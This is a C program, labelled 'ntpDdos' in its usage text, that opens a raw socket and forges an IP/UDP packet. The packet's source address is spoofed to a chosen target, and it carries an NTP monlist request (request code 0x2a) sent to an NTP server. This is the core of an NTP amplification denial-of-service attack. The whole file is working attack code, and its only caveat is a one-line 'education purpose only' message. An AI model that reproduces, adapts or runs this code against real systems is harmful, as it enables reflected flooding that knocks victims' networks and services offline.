#include <stdio.h> //For on printf function
#include <string.h> //For memset
#include <sys/socket.h> //Structs and Functions used for sockets operations.
#include <stdlib.h> //For exit function
#include <netinet/ip.h> //Structs for IP header
struct udpheader{
unsigned short int udp_sourcePortNumber;
unsigned short int udp_destinationPortNumber;
unsigned short int udp_length;
unsigned short int udp_checksum;
};
struct ntpreqheader {
unsigned char rm_vn_mode;
unsigned char auth_seq;
unsigned char implementation;
unsigned char request;
unsigned short err_nitems;
unsigned short mbz_itemsize;
char data[40];
unsigned long tstamp;
unsigned int keyid;
char mac[8];
};
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main(int argc, char **argv)
{
int status;
struct iphdr *ip;
struct udpheader *udp;
struct ntpreqheader *ntp;
int sockfd;
int one = 1;
struct sockaddr_in dest;
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ];
if( argc != 3){
printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
printf("Watch it on wireshark!\n");
printf("Coded for education purpose only!\n");
exit(1);
}
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (sockfd == -1){
printf("Error on initializing the socket\n");
exit(1);
}
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
if (status == -1){
printf("Error on setting the option HDRINCL on socket\n");
exit(1);
}
memset( packet, 0, sizeof(packet) );
ip = (struct iphdr *)packet;
udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = sizeof(packet);
ip->id = htons(1234);
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->check = 0;
ip->saddr = inet_addr( argv[1] );
ip->daddr = inet_addr( argv[2] );
udp->udp_sourcePortNumber = htons( atoi( "123" ) );
udp->udp_destinationPortNumber = htons(atoi("123")) ;
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) );
udp->udp_checksum = 0;
ip->check = csum((unsigned short *)packet, ip->tot_len);
dest.sin_family = AF_INET;
dest.sin_port = htons (atoi( "123" ) ) ;
dest.sin_addr.s_addr = inet_addr( argv[2] );
ntp->rm_vn_mode=0x17;
ntp->implementation=0x03;
ntp->request=0x2a;
status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
if(status <0){
printf("Failed to send the packets\n");
exit(1);
}
}